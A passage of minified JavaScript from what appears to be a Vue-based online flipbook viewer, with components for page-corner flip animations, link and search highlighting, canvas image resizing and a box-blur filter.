RegExp("("+e+")","i"))[1],lowercase:e,css:"-"+e+"-",js:e[0].toUpperCase()+e.substr(1)}}(),q={name:"FlipMe",props:{pageId:{type:String,required:!0},isLeft:{type:Boolean,required:!0}},data:function(){return{angle:0,width:0,backfaceParams:null,nextPageParams:null,tween:null,crossOrigin:(0,d.Z)().getCrossOrigin()}},created(){const t=this.$store.getters["pager/flipState"],e=this.isLeft?t.currentLeft:t.currentRight,i=e+(this.isLeft?-1:1),s=e+(this.isLeft?-2:2);this.backfaceParams=this.$store.getters["pager/flipParams"](i),this.nextPageParams=this.$store.getters["pager/flipParams"](s)},mounted(){const t={angle:19,width:0};this.tween=new(j().Tween)(t).to({angle:19,width:7},800).easing(j().Easing.Cubic.InOut).onUpdate((()=>{if(this.width=t.width,this.angle=t.angle,0===t.width){const t=5*Math.random()+3,e=11*Math.random()+19;setTimeout((()=>{this.tween.to({angle:e,width:t})}),10)}})).yoyo(!0).repeat(1/0).delay(2e3).repeatDelay(200).start(),this.$parent.$once("onContentContainerClick",this.stopAnimation)},beforeDestroy(){this.stopAnimation()},computed:{classes(){return{"flip-me-container":!0,left:this.isLeft,"translucent-reverse-side":this.singleMode&&this.isTranslucentReverseSide}},singleMode(){return this.$store.state.pager.singleMode},isRTLBook(){return this.$store.state.book.rightToLeft},isTranslucentReverseSide(){return this.$store.state.workspace.components.book.isTranslucentReverseSide},nextBackgrounds(){return this.getBackgroundsArray(this.nextPageParams.pageId)},backfaceBackgrounds(){return this.getBackgroundsArray(this.backfaceParams.pageId)},pagesSize(){return this.$store.getters["pages/size"]},backfaceImgStyle(){return this.getImageStyle(this.backfaceParams)},nextImgStyle(){return this.getImageStyle(this.nextPageParams)},maskStyle(){const t=100-this.width;return{transform:this.isLeft?`rotate3d(0,0,1,-${this.angle}deg) translate3d(-${t}%, 0%, 0)`:`rotate3d(0,0,1,${this.angle}deg) translate3d(${t}%, 50%, 0)`,transformOrigin:this.isLeft?100-t+"% 100%":"100% 100%"}},nextPageStyle(){const t=100-this.width;return{transform:this.isLeft?`rotate3d(0,0,1,${this.angle}deg)`:`rotate3d(0,0,1,-${this.angle}deg)`,transformOrigin:this.isLeft?100-t+"% 100%":"100% 100%",backgroundColor:this.$store.getters["pages/pageProp"](this.nextPageParams.pageId,"backgroundColor")}},shiftPageStyle(){const t=100-this.width;return{transform:this.isLeft?`translate3d(${t}%, 0%,0)`:`translate3d(-${t}%, -50%,0)`}},backfaceStyle(){let t,e;const i=90-this.angle,s=this.width/Math.sin(i*Math.PI/180);if(this.isLeft){const i=s,o=100-2*s;t=`rotate(-${2*this.angle}deg) translate3d(-${o}%, 0%,0)`,e=`${i}% 100%`}else{const i=100-s,o=i-s;t=`rotate(${2*this.angle}deg) translate3d(${o}%, 0%,0)`,e=`${i}% 100%`}return{transform:t,transformOrigin:e,backgroundColor:this.$store.getters["pages/pageProp"](this.backfaceParams.pageId,"backgroundColor")}},nextGradientStyle(){return{background:Y.css+`linear-gradient(${this.isLeft?"right":"left"}, rgba(0, 0, 0, ${(65-this.width)/100}) 0px, transparent ${this.width}%)`}},backGradientStyle(){const t=90-this.angle,e=this.width/Math.sin(t*Math.PI/180);return{transform:this.isLeft?`rotate(${this.angle}deg) translate3d(0, 10%, 1px)`:`rotate(-${this.angle}deg) translate3d(0, 10%, 1px)`,transformOrigin:"100% 100%",width:e+"%"}}},methods:{stopAnimation:function(){this.tween.delay(0).repeat(1)},getBackgroundsArray:function(t){const e=[];if(t){const i=this.$store.getters["pages/pageProp"](t,"textUrl"),s=this.$store.getters["pages/pageProp"](t,"substrateUrl");e.push(s),i&&e.push(i)}return e},getImageStyle:function(t){const e=t.wide,i="right"===t.pageSide,s=this.$store.state.pages.size.width,o=document.querySelector('.background[data-id="'+t.pageId+'"]');return(o&&o.style?o.style.cssText:"")+(e&&i?` transform: translate3d(-${s}px,0,0);`:"")}}};const K=(0,R.Z)(q,U,G,!1,null,"75383dbe",null).exports;var Q=i(9426);const J={mixins:[p,g.Z],props:{contentCreator:{type:Function,default(){}},deferPageLoad:{type:Boolean,default:!0},autoHighlight:{type:Boolean,default:!0}},data:function(){return{zoomInProgress:!1,initialIconsHide:!0,initialPopupIconHighlight:!1,initialLinkHighlight:!1,initialFormHighlight:!1,isHighlighted:!1,iconAttract:!1,contentItemsReady:0,highlightTimeout:null,highlightOffTimeout:null,linkHighlightOffTimeout:null,formHighlightOffTimeout:null,iconAttractInterval:null,preloaderVisibleCache:!1,backgroundsCache:null,vectorLayerCache:null,isLoadingCache:null,updatePendingCache:null,tapTimeout:0,canvasUpdated:!1,resizeCancelled:!1,cancelResize:()=>{},urlBlackList:this.$store.state.workspace.urlBlackList,stubUrl:(0,d.Z)().translatePath("assets/pages/pagestub.png"),devicePixelRatio:window.devicePixelRatio,isLoading:!0,isSVGSupported:!1,textUrl:null,substrateUrl:null,pageContent:null,contentActive:!0,hideLeftStripe:null,hideRightStripe:null,noImageCache:!1}},components:{spinner:Q.Z,selectText:E,selectTextMobile:D,note:Z,flipMe:K},watch:{rawIsLoading:function(t,e){e!==t&&(this.isLoading=t)},isLoading:function(t){t||setTimeout((()=>{this.thDebounced=!1,this.$emit("loaded",this)}),400),this.refreshCache()},updatePending:function(t){this.refreshCache(),t&&!this.hasError&&this.setCursor("progress")},isZoomed:function(t){t||this.setCursor("inherit"),1===this.substrateNum&&this.updateCanvasDebounced(!0)},isCurrent(t){this.lastIsCurrent!==t&&(this.alreadyLoaded&&this.getProperties(),t?(this.checkHighlight(),this.updateCanvasDebounced(!1)):(this.stopHighlight(),this.initialIconsHide=!0,this.stopIconAttract(),this.cancelResize("not current",!0)),this.lastIsCurrent=t)},contentPagesArray:function(t){this.getContent()},content:function(t){t.length>0&&this.$emit("content:changed"),this.refreshCache()},isResizing:function(t){this.$emit("resize:"+(t?"start":"end")),this.refreshCache(),t?this.stopHighlight():this.checkHighlight()},contentFreezed:function(t){this.refreshCache(),t?this.cancelResize("freezed",!0):(this.resizeCancelled=!1,this.updateCanvasDebounced(!1))},preloaderVisible:function(t,e){this.refreshCache(),this.isCurrent&&!t&&e&&this.$root.$emit("pageLoaded")},backgrounds:function(){this.refreshCache()},backgroundsCache:function(){this.updateCanvasDebounced(!0)},isHighlighted:function(t){t?this.stopIconAttract():this.startIconAttract()},activeInteractiveElement:function(t){"highlight"!==t&&this.isHighlighted&&this.stopHighlight()}},created:function(){this.updateCanvasDebounced=(0,l.Ds)((t=>{t&&(this.canvasUpdated=!1),this.updateCanvas()}),1e3),this.isLoading=this.rawIsLoading},mounted:function(){this.refreshCache(),this.$root.$on("zoomMove",this.zoomMove),this.getContent(),window.addEventListener("resize",this.onResize)},beforeUpdate:function(){this.contentItemsReady>this.content.length&&(this.contentItemsReady=this.content.length)},beforeDestroy:function(){window.removeEventListener("resize",this.onResize),this.cancelResize("destroyed",!0),this.updateCanvasDebounced.destroy(),this.$root.$off("zoomMove",this.zoomMove),this.stopHighlight(),clearInterval(this.iconAttractInterval),this.$refs.bgImage.onload=null,this.$refs.bgImage.onerror=null,this.$refs.bgImage.src="",this.$refs.bgSVG&&(this.$refs.bgSVG.src="")},methods:{bgCacheImageLoaded:function(t){this.isZoomed&&t===this.substrateUrl&&this.setCursor("inherit")},getContent:function(){this.pageContent=this.$store.getters["pages/pageContent"](this.pageId)},getProperties:function(){this.isSVGSupported=this.$store.getters["pages/isSVGSupported"](this.pageId),this.thumbnailUrl=this.$store.getters["pages/pageProp"](this.pageId,"thumbnailUrl"),this.textUrl=this.$store.getters["pages/pageProp"](this.pageId,"textUrl"),this.substrateUrl=this.$store.getters["pages/pageProp"](this.pageId,"substrateUrl"),this.isReady=this.$store.getters["pages/pageProp"](this.pageId,"status")===V.Z.READY,this.loadPending=this.$store.getters["pages/pageProp"](this.pageId,"loadPending"),this.hasError=this.$store.getters["pages/hasError"](this.pageId)},getAPIProperties:function(){this.isWide=this.$store.getters["pages/pageProp"](this.pageId,"wide"),this.isStub=this.$store.getters["pages/pageProp"](this.pageId,"stub");const t="flip-book"===this.bookComponent&&this.$store.getters["book/hasHardcover"],e=this.$store.getters["pages/isLastPage"](this.pageId)&&!this.isWide&&this.$store.getters["pages/pageIndexById"](this.pageId)%2!=0&&!this.$store.state.pager.singleMode;this.isOutsideHardcover=t&&(this.$store.getters["pages/isFirstPage"](this.pageId)||e);const i=this.isOutsideHardcover||this.$store.getters["pages/isLastPage"](this.pageId)&&this.$store.state.pager.singleMode&&t;this.backgroundColor=i?this.$store.state.book.hardcoverColor:this.enforceTransparentBg?null:this.$store.getters["pages/pageProp"](this.pageId,"backgroundColor")},refreshCache:function(){this.contentFreezed||this.$nextTick((()=>{this.preloaderVisibleCache=this.preloaderVisible,this.backgroundsCache=this.backgrounds,this.vectorLayerCache=this.vectorLayer,this.isLoadingCache=this.isLoading,this.updatePendingCache=this.updatePending}))},isVisible:function(t){return!this.isWide||"both"===this.pageSide||t.side===this.pageSide||t.crossWide},checkPageStripes(t){if(!this.isCurrent||this.isZoomed||"flip-book"!==this.bookComponent||t.srcEvent.metaKey||t.srcEvent.ctrlKey)return!1;const e=this.$el.getBoundingClientRect(),i=this.$store.getters["pager/state"].singleMode,s=i?this.isRTLBook:"left"===this.pageSide,o=i?!this.isRTLBook:"right"===this.pageSide;return s&&!this.hideLeftStripe&&t.center.x-e.left<.05*e.width?(this.leftStripeTap(),!0):!!(o&&!this.hideRightStripe&&t.center.x-e.left>.95*e.width)&&(this.rightStripeTap(),!0)},onMouseDown(){document.activeElement.blur()},onContentTap(t){if(this.isWorkspaceFrozen)return;const e=t.target.classList;if(e)if(e.contains("link"))this.isMobile&&this.$root.$emit("link-highlight",{itemId:t.target.dataset.itemId}),Date.now()>this.tapTimeout&&(setTimeout((()=>{this.linkTo(t.target)}),this.$store.state.workspace.doubletapInterval+1),this.tapTimeout=Date.now()+this.$store.state.workspace.doubletapInterval);else if("true"===t.target.dataset.popupFormArea&&this.isMobile)this.$root.$emit("form-highlight",{itemId:t.target.dataset.itemId});else if("desktop"===this.layout){const i=(0,l.UZ)(t.target);if(!e.contains("block")&&!e.contains("text-block")&&-1===i.indexOf("content")&&this.checkPageStripes(t))return;(e.contains("content")||e.contains("block")||e.contains("text-block")||e.contains("selecttext")||e.contains("select-text-canvas"))&&setTimeout((()=>{if(this.$store.state.workspace.highlightTimeout+350>Date.now())return;this.clearHighlightTimeouts(),this.isHighlighted=!(this.isHighlighted||this.initialLinkHighlight||this.initialPopupIconHighlight||this.activeInteractiveElement),this.initialIconsHide=!1,this.initialPopupIconHighlight=!1,this.initialLinkHighlight=!1,this.initialFormHighlight=!1;const t=this.getSpreadTwin();null!==t&&(t.clearHighlightTimeouts(),t.isHighlighted=this.isHighlighted,t.initialIconsHide=!1,t.initialPopupIconHighlight=!1,t.initialLinkHighlight=!1,t.initialFormHighlight=!1);const e=this.$store.getters["pages/urlHeaderById"]({id:this.pageId,forceFullWide:"both"===this.pageSide,widePageSecondHalf:"right"===this.pageSide});this.$root.$emit("highlight",{action:this.isHighlighted?"on":"off",page:e}),this.$store.dispatch("workspace/setActiveInteractiveElement",this.isHighlighted?"highlight":null)}),350)}},linkTo:function(t){if("ready"!==this.bookStatus)return;const e=t.getAttribute("data-id"),i=t.getAttribute("data-url");if(e&&!i)this.$store.dispatch("pager/goToPageById",{id:e,target:"link"}),this.$emit("link:click",t),this.$root.$emit("link",{type:"internal",source:"page",pageId:this.pageId,pageToId:e});else if(i){const e=!1===this.checkUrl(i);if(this.$root.$emit("link",{type:"external",pageId:this.pageId,url:i,target:t.target,source:null,isBlacklisted:e}),e)return;t.setAttribute("href",i),t.click(),t.removeAttribute("href"),this.$emit("link:click",t)}},checkUrl:function(t){for(let e=0;e<this.urlBlackList.length;e++)if(-1!==t.indexOf(this.urlBlackList[e]))return!1;return!0},checkHighlight:function(){if(!this.isCurrent)return;const t=this.getSpreadTwin();null!==t&&t.isLoading?t.$once("loaded",(()=>{this.checkHighlight()})):this.isLoading||this.isResizing||this.isPreloaderShown?this.isLoading&&this.content.length>0?this.$once("loaded",(function(){this.checkHighlight()})):this.isPreloaderShown?this.$once("preloader:off",(function(){this.checkHighlight()})):0===this.content.length&&this.$once("content:changed",(function(){this.checkHighlight()})):(this.autoHighlight&&this.highlightContent(),this.$emit("highlight"))},startIconAttract(){if(this.isPrimarySpreadPage){const t=this.getSpreadTwin();this.iconAttractInterval=setInterval((()=>{this.iconAttract=!0,t&&(t.iconAttract=!0),setTimeout((()=>{this.iconAttract=!1,t&&(t.iconAttract=!1)}),1800)}),8e3)}},stopIconAttract(){const t=this.getSpreadTwin();clearInterval(this.iconAttractInterval),this.iconAttract=!1,t&&(t.iconAttract=!1)},clearHighlightTimeouts(){clearTimeout(this.highlightTimeout),clearTimeout(this.highlightOffTimeout),clearTimeout(this.linkHighlightOffTimeout),clearTimeout(this.formHighlightOffTimeout)},stopHighlight:function(){this.clearHighlightTimeouts(),this.isHighlighted=!1,this.initialPopupIconHighlight=!1,this.initialLinkHighlight=!1,this.initialFormHighlight=!1},highlightContent:function(){if(this.isPrimarySpreadPage){const t=this.getSpreadTwin();this.highlightTimeout=setTimeout((()=>{this.initialIconsHide=!1,this.initialPopupIconHighlight=!0,this.initialLinkHighlight=!0,this.initialFormHighlight=!0,t&&(t.initialIconsHide=!1,t.initialPopupIconHighlight=!0,t.initialLinkHighlight=!0,t.initialFormHighlight=!0),this.highlightOffTimeout=setTimeout((()=>{this.initialPopupIconHighlight=!1,t&&(t.initialPopupIconHighlight=!1),this.startIconAttract()}),2e3),this.linkHighlightOffTimeout=setTimeout((()=>{this.initialLinkHighlight=!1,t&&(t.initialLinkHighlight=!1)}),1700),this.formHighlightOffTimeout=setTimeout((()=>{this.initialFormHighlight=!1,t&&(t.initialFormHighlight=!1)}),1700)}),100)}},contentItemReady:function(t){"link"!==t.data.type&&this.contentItemsReady++},contentError:function(){this.$store.dispatch("pages/setStatus",{value:V.Z.ERROR,pageID:this.pageId})},updateCanvas(){const t=this.isZoomed&&this.substrateNum>1;if("desktop"!==this.layout||!this.isCurrent||t||this.canvasUpdated||this.contentFreezed||this.devicePixelRatio>1.5)return;if(this.isWide&&"right"===this.pageSide&&!this.$store.state.pager.singleMode)return;if(!this.backgroundsCache||!this.backgroundsCache[0])return;this.cancelResize("new resize",!1),this.resizeCancelled=!1;let e=new Image;this.crossOrigin&&(e.crossOrigin=this.crossOrigin),e.onload=()=>{let t=document.createElement("canvas"),i=t.getContext("2d");if(t.style.transform="translateZ(0)",e.onload=null,!this.resizeCancelled)if(this.backgroundsCache.length>1){let s=new Image;this.crossOrigin&&(s.crossOrigin=this.crossOrigin),s.onload=()=>{s.onload=null,this.resizeCancelled||(t.width=s.width,t.height=s.height,i.drawImage(e,0,0,s.width,s.height),i.drawImage(s,0,0,s.width,s.height),s.src="",s=null,e=null,this.resizeCanvas(t,this.$refs.bgImage),i=null,t=null)},s.src=this.backgroundsCache[1]}else t.width=e.width,t.height=e.height,i.drawImage(e,0,0,e.width,e.height),e=null,this.resizeCanvas(t,this.$refs.bgImage),i=null,t=null},e.src=this.backgroundsCache[0]},skipResize(){const t=this.$store.state.workspace.userAgentInfo.browser;return t.firefox||t.msedge},onResize(){this.isCurrent&&this.updateCanvasDebounced(!0)},resizeCanvas(t,e){if(this.skipResize()||this.resizeCancelled)return;this.cancelResize("new resize",!1);const i=new Date,s=i.getHours()+":"+i.getMinutes()+":"+i.getSeconds()+"."+i.getMilliseconds();let o=this.pageId+"_"+s,r=document.createElement("canvas");this.cancelResize=(t,e)=>{try{e&&(this.resizeCancelled=!0),o&&this.bookElement.cancelResize&&this.bookElement.cancelResize(o),r=null}catch(i){this.$emit("error",i)}},r.style.transform="translateZ(0)",r.width=this.contentSize.width*(this.wideHalf?2:1)*this.devicePixelRatio,r.height=this.contentSize.height*this.devicePixelRatio;r.getContext("2d").drawImage(t,0,0,r.width,r.height);const a={unsharpAmount:80,unsharpRadius:.6,unsharpThreshold:166,quality:3,alpha:!0};if(this.resizeCancelled||!this.bookElement.resizePage)return;const n=this;this.bookElement.resizePage(t,r,a,o,(i=>{if(i){const t=i.toDataURL();if(n.setResizedImg(e,n,t),n.isWide){const e=n.getSpreadTwin();null!==e&&n.setResizedImg(e.$refs.bgImage,e,t)}}o=null,t=null,r=null}))},setResizedImg(t,e,i){if(!t)return;t.onload=()=>{t.onload=null,setTimeout((()=>{e.resizeCancelled||(e.canvasUpdated=!0)}),500)};const s=window.MSInputMethodContext&&document.documentMode?1e4:6500;i.length>s&&(t.src=i)},leftStripeTap(){this.movePagerLeft({target:"page-edge-tap"})},rightStripeTap(){this.movePagerRight({target:"page-edge-tap"})},arrowHover(t,e){"function"==typeof this.bookElement.arrowHover&&this.bookElement.arrowHover(t,e)},zoomMove(t){"drag"===t.direction&&(this.contentActive=!!t.active)},isPointInSelection(t){const e=this.$el.querySelector(".select-text-canvas");if(!e)return!1;const i=e.getBoundingClientRect(),s=t.clientX-i.left,o=t.clientY-i.top,r=e.getContext("2d").getImageData(s,o,1,1).data;return r[0]+r[1]+r[2]+r[3]!==0},forceBackgroundColor(t){this.backgroundColor=t}},computed:{pageStyle(){const t="rgba(39, 47, 55, 0.03)",e=this.contentCrop?this.contentSize.height:this.pageSize.height;return{width:(this.contentCrop?this.contentSize.width:this.pageSize.width)+"px",height:(e%2==0?e:e+1)+"px","background-color":this.bordered?t:this.backgroundColor}},zoomInBlur:function(){return!1},showPreloaderContainer:function(){return!this.isStub&&(this.thDebounced||this.preloaderVisibleCache)},showSpinner:function(){return(this.thDebounced||this.isLoadingCache||this.updatePendingCache)&&!this.contentFreezed&&this.isReady&&this.isDownloaded&&!this.hasError},showHighlights:function(){return this.isCurrent&&!this.contentFreezed&&(this.isMobile||this.isSearchOpened)&&!this.showPreloaderContainer},animationInProgress:function(){return this.$store.getters["workspace/animationInProgress"]},isLeftFlipCorner:function(){return"left"===this.$store.getters["workspace/callToNavigation"].side},isLightboxShown(){return this.$store.getters["lightbox/isShown"]},flipCornerEnabled:function(){if("flip-book"!==this.bookComponent||!this.isCurrent||this.isLightboxShown)return!1;const t=this.$store.getters["workspace/callToNavigation"];return"corner"===t.type&&(this.$store.state.pager.singleMode||t.side===this.pageSide)&&!this.contentFreezed},bookStatus:function(){return this.bookElement.status||"ready"},bookComponent(){return this.$store.state.workspace.bookComponent},bookElement(){let t;return t="slide-book"===this.bookComponent?this.$parent.$parent:this.$parent,t},rawIsLoading:function(){let t;return t=0===this.$store.state.pages.size.width||null===this.$store.state.pages.size.width||!(this.isStub||!this.isReady||!this.isDownloaded||this.hasError)&&(this.contentItemsReady<this.sortedContent.visible.length||this.loadPending),t},className(){return{page:!0,bordered:this.bordered,loading:this.isLoadingCache,updating:this.updatePendingCache,unready:!(this.isReady&&this.isDownloaded||this.hasError),error:this.hasError,highlighted:this.isHighlighted,"initial-icons-hide":this.initialIconsHide,"initial-popup-highlight":this.initialPopupIconHighlight,"initial-link-highlight":this.initialLinkHighlight,"initial-form-highlight":this.initialFormHighlight,"icon-attract":this.iconAttract,light:this.backgroundLuma>.5,dark:this.backgroundLuma<=.5,only:this.isOnlyPage,"left-stripe":"flip-book"===this.bookComponent&&"left"===this.pageSide&&!this.hideLeftStripe,"right-stripe":"flip-book"===this.bookComponent&&"right"===this.pageSide&&!this.hideRightStripe,"last-single-page":this.isLastSinglePage,"content-inactive":!this.contentActive}},isOnlyPage(){return 1===this.$store.getters["pages/pagesCount"]},isLastSinglePage(){return!(!this.$store.state.pager.singleMode||!this.$store.getters["pages/isLastPage"](this.pageId))&&(!this.isWide||!(this.isRTLBook&&"left"!==this.pageSide||!this.isRTLBook&&"right"!==this.pageSide))},preloaderVisible(){return!this.isStub&&(this.isLoading||!this.isReady||!this.isDownloaded||this.hasError)},vectorLayer(){return this.pageId&&this.isReady&&this.isDownloaded&&!this.hasError&&this.isSVGSupported?this.textUrl:null},backgrounds:function(){if(!this.pageId||!this.isReady||!this.isDownloaded||this.hasError)return[];const t=this.enforceTransparentBg?this.whitePixelUrl:this.stubUrl,e=this.substrateUrl,i=this.textUrl,s=this.isSVGSupported,o=[];if(this.isStub)o.push(t);else{const t=i;e&&o.push(e),t&&!s&&o.push(t)}return o},selectTextEnabled:function(){return this.$store.state.workspace.components.textSelection},mobileShowEffectPass:function(){return this.isMobile&&this.$store.state.text.pageID&&this.pageId===this.$store.state.text.pageID},contentPagesArray(){return this.$store.getters["content/pagesArray"]},content:function(){if(!this.pageId||!this.isReady||!this.isDownloaded||this.hasError||!this.renderContent||this.isStub)return[];const t=this.contentSize.scaleRatio;if(t<=0)return[];const e=this.pageContent;if(!e)return[];const i=this.pageId,s=this.pageSide,o=this.isWide,r=[];let a=[];const n=e.filter((t=>"block"!==t.type&&"link"!==t.type&&this.isVisible(t))).length,h="right"===this.pageSide,c=this.isRTLBook===h,d=this.$store.state.pager.singleMode,p=d||c?0:150;for(let l=0;l<n;l++){const t=l%12,e=10*Math.round(50*Math.random()/10);a.push(100*t+p+e)}a=(0,l.TV)(a);for(let l=0;l<e.length;l++){const n=e[l],h=Object.assign({},n);h.key=l,h.page={id:i,side:s,isWide:o},h.scaleRatio=t,h.component=this.contentCreator(h),this.isVisible(h)&&(h.crossWide&&!d||"block"===h.type||"link"===h.type||(h.iconDelay=a.pop()),r.push(h))}return r},sortedContent:function(){const t={visible:[],inv:[]};for(const e of this.content)"link"!==e.type?t.visible.push(e):t.inv.push(e);return t},renderInvisibleContent:function(){return this.androidIframe||this.isCurrent&&!this.contentFreezed&&!(this.animationInProgress&&!this.isMobile&&!this.isMobileApp)},showInvisibleContent:function(){return this.isCurrent&&!this.contentFreezed&&!this.animationInProgress},androidIframe:function(){const t=window.location!==window.parent.location,e=this.$store.state.workspace.isEmbed,i=this.$store.state.workspace.userAgentInfo.os.android;return t&&!e&&i},isWorkspaceFrozen(){return this.$store.state.workspace.freezed},isSearchOpened(){return"search"===this.$store.state.sidebar.opened},layout(){return this.$store.state.workspace.layout},isMobileApp(){return"mobile-app"===this.$store.getters["info/version"]},rawSearchHighlights(){if(!this.isCurrent)return[];const t=this.$store.getters["search/getHighlights"](this.pageId);return t&&t.ready&&0!==t.data.length?t.data:[]},highlights:function(){if(!this.pageId||this.isLoading||!this.isReady||!this.isDownloaded||this.hasError||!this.renderContent||this.isStub||0===this.rawSearchHighlights.length)return[];const t=[],e=this.contentSize.scaleRatio;if(e.w<=0)return[];const i=this.rawSearchHighlights,s=this.$store.state.search.color;for(let o=0,r=i.length;o<r;o++){const r=i[o].rect,a={width:(r[0]*e.w).toFixed(2)+"px",height:(r[1]*e.h).toFixed(2)+"px",left:(r[2]*e.w).toFixed(2)+"px",top:(r[3]*e.h).toFixed(2)+"px",backgroundColor:s};0!==i[o].angle&&(a.transformOrigin="0px 0px 0px",a.transform="rotate("+i[o].angle+"rad)"),t.push({style:a})}return t},pageSize(){const t=this.isOutsideHardcover?1.03:1,e=this.size||!1,i=this.pagesSize,s=this.pageWidthMultiplier;let o,r;return e&&e.width&&e.height?(o=Math.round(e.width*t),r=Math.round(e.height*t)):(o=Math.round(i.width*s*t),r=Math.round(i.height*t)),r=r%2==0?r:r+1,{width:o,height:r}},contentTouchLayerStyle(){const t=this.contentCrop?this.contentSize.height:this.pageSize.height;return{width:(this.contentCrop?this.contentSize.width:this.pageSize.width)+"px",height:(t%2==0?t:t+1)+"px"}},thumbnailStyle(){const t=Object.assign({},this.contentStyle);let e=Math.round(this.contentSize.width/220);return e>8&&(e=8),t.filter="blur("+e+"px)",t},wideHalf(){return this.isWide&&"both"!==this.pageSide},marginSide(){let t=this.contentCrop?0:(this.pageSize.width-this.contentSize.width)/(this.wideHalf?1:2);return t=Math.round(t),t},contentStyle(){const t=this.contentCrop?0:(this.pageSize.height-this.contentSize.height)/2,e={width:this.contentSize.width*(this.wideHalf?2:1)+"px",height:this.contentSize.height+"px"};return this.zoomInBlur&&(e.filter="blur(2px)"),"right"===this.pageSide&&(e.right="0",e.marginRight=this.marginSide+"px"),this.marginSide&&"right"!==this.pageSide&&(e.marginLeft=this.marginSide+"px"),t&&(e.marginTop=t.toFixed(0)+"px"),e},substrateNum(){const t=this.$store.getters["pages/currentSize"](this.pageId),e=this.$store.getters["pages/contentSize"]({pageID:this.pageId,pageSize:t});return this.$store.getters["pages/imageSizes"](this.pageId,e).substrate},notesArray(){const t=[],e=this.$store.state.notes.items;for(let i=0,s=e.length;i<s;i++)e[i].page===this.pageId&&(this.isWide?("both"===this.pageSide||"left"===this.pageSide&&"left"===e[i].side||"right"===this.pageSide&&"right"===e[i].side)&&t.push(e[i]):t.push(e[i]));return t},isPrimarySpreadPage(){const t=this.getSpreadTwin(),e=this.$store.state.pager.singleMode;return!t||!this.isWide||e||"right"!==this.pageSide},activeInteractiveElement(){return this.$store.state.workspace.activeInteractiveElement}}},tt=J;const et=(0,R.Z)(tt,n,h,!1,null,null,null).exports;var it=i(3718),st=i.n(it),ot=i(3084),rt=i(3074),at=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{class:t.className,style:t.pageStyle,attrs:{"aria-hidden":!t.isCurrent}},[i("transition",{attrs:{name:"page-fade"}},[i("div",{staticClass:"page-preloader"},[t.showCanvas?i("canvas",{ref:"canvas"}):t._e()])])],1)},nt=[];const ht=document.createElement("canvas");ht.width=screen.width,ht.height=screen.height;const lt=ht.getContext("2d");function ct(t,e,i,s){let o,r,a,n;const h=.3086*(1-s),l=.6094*(1-s),c=.082*(1-s);let d,p,g;const u=e<<2;for(a=0;a<i;a++)for(n=a*u,r=0;r<e;r++)o=n+(r<<2),d=t[o],p=t[o+1],g=t[o+2],t[o]=(h+s)*d+l*p+c*g,t[o+1]=h*d+(l+s)*p+c*g,t[o+2]=h*d+l*p+(c+s)*g}function dt(t,e,i,s,o){const r=new Uint8Array(e*i*4);pt(t,r,e,i,s),ut(r,t,e,i,s),gt(t,r,e,i,s),ft(r,t,e,i,s),void 0!==o&&1!==o&&ct(t,e,i,o)}function pt(t,e,i,s,o){let r,a,n,h,l;const c=o<<2,d=i<<2;let p,g,u,f;for(a=0;a<s;a++){for(p=0,g=0,u=0,f=0,n=a*d,r=0;r<o;r++)h=n+(r<<2),p+=t[h],g+=t[h+1],u+=t[h+2],f+=t[h+3],e[h]=p/(r+1)|0,e[h+1]=g/(r+1)|0,e[h+2]=u/(r+1)|0,e[h+3]=f/(r+1)|0;for(;r<i;r++)h=n+(r<<2),l=h-c,e[h]=p/o|0,e[h+1]=g/o|0,e[h+2]=u/o|0,e[h+3]=f/o|0,p+=t[h]-t[l],g+=t[h+1]-t[l+1],u+=t[h+2]-t[l+2],f+=t[h+3]-t[l+3]}}function gt(t,e,i,s,o){let r,a,n,h,l;const c=o<<2,d=i<<2;let p,g,u,f;for(a=0;a<s;a++){for(p=0,g=0,u=0,f=0,n=a*d,r=i-1;r>=i-o;r--)h=n+(r<<2),p+=t[h],g+=t[h+1],u+=t[h+2],f+=t[h+3],e[h]=p/(i-r)|0,e[h+1]=g/(i-r)|0,e[h+2]=u/(i-r)|0,e[h+3]=f/(i-r)|0;for(;r>=0;r--)h=n+(r<<2),l=h+c,e[h]=p/o|0,e[h+1]=g/o|0,e[h+2]=u/o|0,e[h+3]=f/o|0,p+=t[h]-t[l],g+=t[h+1]-t[l+1],u+=t[h+2]-t[l+2],f+=t[h+3]-t[l+3]}}function ut(t,e,i,s,o){let r,a,n,h,l;const c=i<<2,d=c*o;let p,g,u,f;for(r=0;r<i;r++){for(p=0,g=0,u=0,f=0,n=r<<2,a=0;a<o;a++)h=n+a*c,p+=t[h],g+=t[h+1],u+=t[h+2],f+=t[h+3],e[h]=p/(a+1)|0,e[h+1]=g/(a+1)|0,e[h+2]=u/(a+1)|0,e[h+3]=f/(a+1)|0;for(;a<s;a++)h=n+a*c,l=h-d,e[h]=p/o|0,e[h+1]=g/o|0,e[h+2]=u/o|0,e[h+3]=f/o|0,p+=t[h]-t[l],g+=t[h+1]-t[l+1],u+=t[h+2]-t[l+2],f+=t[h+3]-t[l+3]}}function ft(t,e,i,s,o){let r,a,n,h,l;const c=i<<2,d=c*o;let p,g,u,f;for(r=0;r<i;r++){for(p=0,g=0,u=0,f=0,n=r<<2,a=s-1;a>=s-o;a--)h=n+a*c,p+=t[h],g+=t[h+1],u+=t[h+2],f+=t[h+3],e[h]=p/(s-a)|0,e[h+1]=g/(s-a)|0,e[h+2]=u/(s-a)|0,e[h+3]=f/(s-a)|0;for(;a>=0;a--)h=n+a*c,l=h+d,e[h]=p/o|0,e[h+1]=g/o|0,e[h+2]=u/o|0,e[h+3]=f/o|0,p+=t[h]-t[l],g+=t[h+1]-t[l+1],u+=t[h+2]-t[l+2],f+=t[h+3]-t[l+3]}}function mt(t,e,i,s,o,r,a){const n=t.canvas,h=0|s,l=0|o,c=0|e,d=0|i;r=32*(0|r),r=Math.min(Math.max(r,32),256);const p=Math.max(0,Math.log(r)/Math.log(2)-3|0),g=r>>>p,u=n.width>>>p,f=n.height>>>p;lt.clearRect(0,0,ht.width,ht.height),lt.drawImage(n,0,0,u,f);const m=lt.getImageData(0,0,u,f);return dt(m.data,u,f,g,a),lt.putImageData(m,0,0),t.clearRect(0,0,h,l),t.drawImage(ht,0,0,u,f,c,d,1.01*h,l),t}const bt=mt;let St=0;const vt=3,wt={mixins:[p],mounted(){this.resizeTimer=null},data:()=>({pageResize:null,widthCache:0}),watch:{isZoomed:function(t){t||this.setCursor("inherit")},isCurrent(t){if(this.lastIsCurrent!==t&&(this.alreadyLoaded&&this.getProperties(),this.lastIsCurrent=t,t))if(St=0,this.shouldRenderCanvas)this.renderCanvas();else{const 